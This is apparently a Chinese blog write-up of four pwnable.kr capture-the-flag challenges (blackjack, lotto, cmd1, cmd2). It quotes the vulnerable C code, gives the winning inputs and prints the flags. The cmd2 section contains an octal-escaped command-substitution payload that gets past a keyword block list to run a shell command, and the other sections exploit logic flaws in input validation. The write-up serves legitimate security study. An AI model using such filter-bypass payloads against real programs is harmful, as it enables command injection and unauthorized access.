Pwnable.kr_Part_1_15/21

Pwnable.kr_Part_1_15/21

Pwnable.kr-BlackJack-逻辑漏洞

游戏代码在这里:https://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

查看代码发现代码量很多,以为很复杂,但静下心看一下发现其实很简单,大部分代码用来实现游戏逻辑,获取flag的条件是成为百万富翁,就是使自己的余额大于一百万,游戏规则介绍中也说了,不要试着真去赌,因为每一把都是随机的,很可能一夜回到解放前,因此要寻找题目中的漏洞,按照经验,这种题出现漏洞可能是整数溢出或者是数据校验不严格,然后我发现题目中对用户输入赌注的地方缺乏负数校验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int betting() //Asks user amount to bet
{
printf("\n\nEnter Bet: $");
scanf("%d", &bet);

if (bet > cash) //If player tries to bet more money than player has
{
printf("\nYou cannot bet more money than you have.");
printf("\nEnter Bet: ");
scanf("%d", &bet);
return bet;
}
else return bet;
} // End Function

而在游戏主要逻辑中也没有对输入的赌注进行进一步验证而是直接参与了运算:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void stay() //Function for when user selects 'Stay'
{
dealer(); //If stay selected, dealer continues going
if(dealer_total>=17)
{
if(player_total>=dealer_total) //If player's total is more than dealer's total, win
{
printf("\nUnbelievable! You Win!\n");
won = won+1;
cash = cash+bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
if(player_total<dealer_total) //If player's total is less than dealer's total, loss
{
printf("\nDealer Has the Better Hand. You Lose.\n");
loss = loss+1;
cash = cash - bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
if(dealer_total>21) //If dealer's total is more than 21, win
{
printf("\nUnbelievable! You Win!\n");
won = won+1;
cash = cash+bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
}
else
{
stay();
}

} // End Function

因此直接输入 一个超大的负数即可获得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Enter Bet: -1000000


Would You Like to Hit or Stay?
Please Enter H to Hit or S to Stay.
S

You Have Chosen to Stay at 10. Wise Decision!

The Dealer Has a Total of 20
Dealer Has the Better Hand. You Lose.

You have 4 Wins and 6 Losses. Awesome!

Would You Like To Play Again?
Please Enter Y for Yes or N for No
y
YaY_I_AM_A_MILLIONARE_LOL


Cash: $1010500
-------
|C |
| 8 |
| C|
-------

Your Total is 8

The Dealer Has a Total of 3

Enter Bet: $

以上解法可能是非预期解,还有一种解法是betting()函数中没有对bet的值进行二次校验,可以连续两次输入大于500的数,因为第二次输入就没有比较的过程了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int betting() //Asks user amount to bet
{
printf("\n\nEnter Bet: $");
scanf("%d", &bet);

if (bet > cash) //If player tries to bet more money than player has
{
printf("\nYou cannot bet more money than you have.");
printf("\nEnter Bet: ");
scanf("%d", &bet);
return bet;
}
else return bet;
} // End Function

flag:

1
YaY_I_AM_A_MILLIONARE_LOL

Pwnable.kr-lotto-逻辑漏洞

本题很简单,在判断乐透数字的时候用了一个双层for循环,但是没有检查用户输入的6个数字是否一样,如果lotto数字是123456,此时用户只需输入任意一个lotto数字6次即可大大提高中奖概率:

1
2
3
4
5
6
7
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

flag:

1
sorry mom... I FORGOT to check duplicate numbers... :(

Pwnable.kr-cmd1-Linux环境变量科普

这道题就是科普一下PATH,代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}

可见不能直接cat flag,看环境变量,进入/tmp/thankyouverymuch目录,发现已经有人帮我们写好文件了hh,那就直接拿来用吧。

1
2
cmd1@prowl:/tmp/thankyouverymuch$ /home/cmd1/cmd1 ./test
mommy now I get what PATH environment is for :)

Pwnable.kr-cmd2-Linux_bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}

extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}

这道题是上一题的升级,不能用环境变量了,此时考虑使用bash自身特性绕过过滤

1
2
3
cmd2@prowl:~$ ./cmd2 '$(echo "\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147")'
$(echo "\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147")
FuN_w1th_5h3ll_v4riabl3s_haha

flag:

1
FuN_w1th_5h3ll_v4riabl3s_haha

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×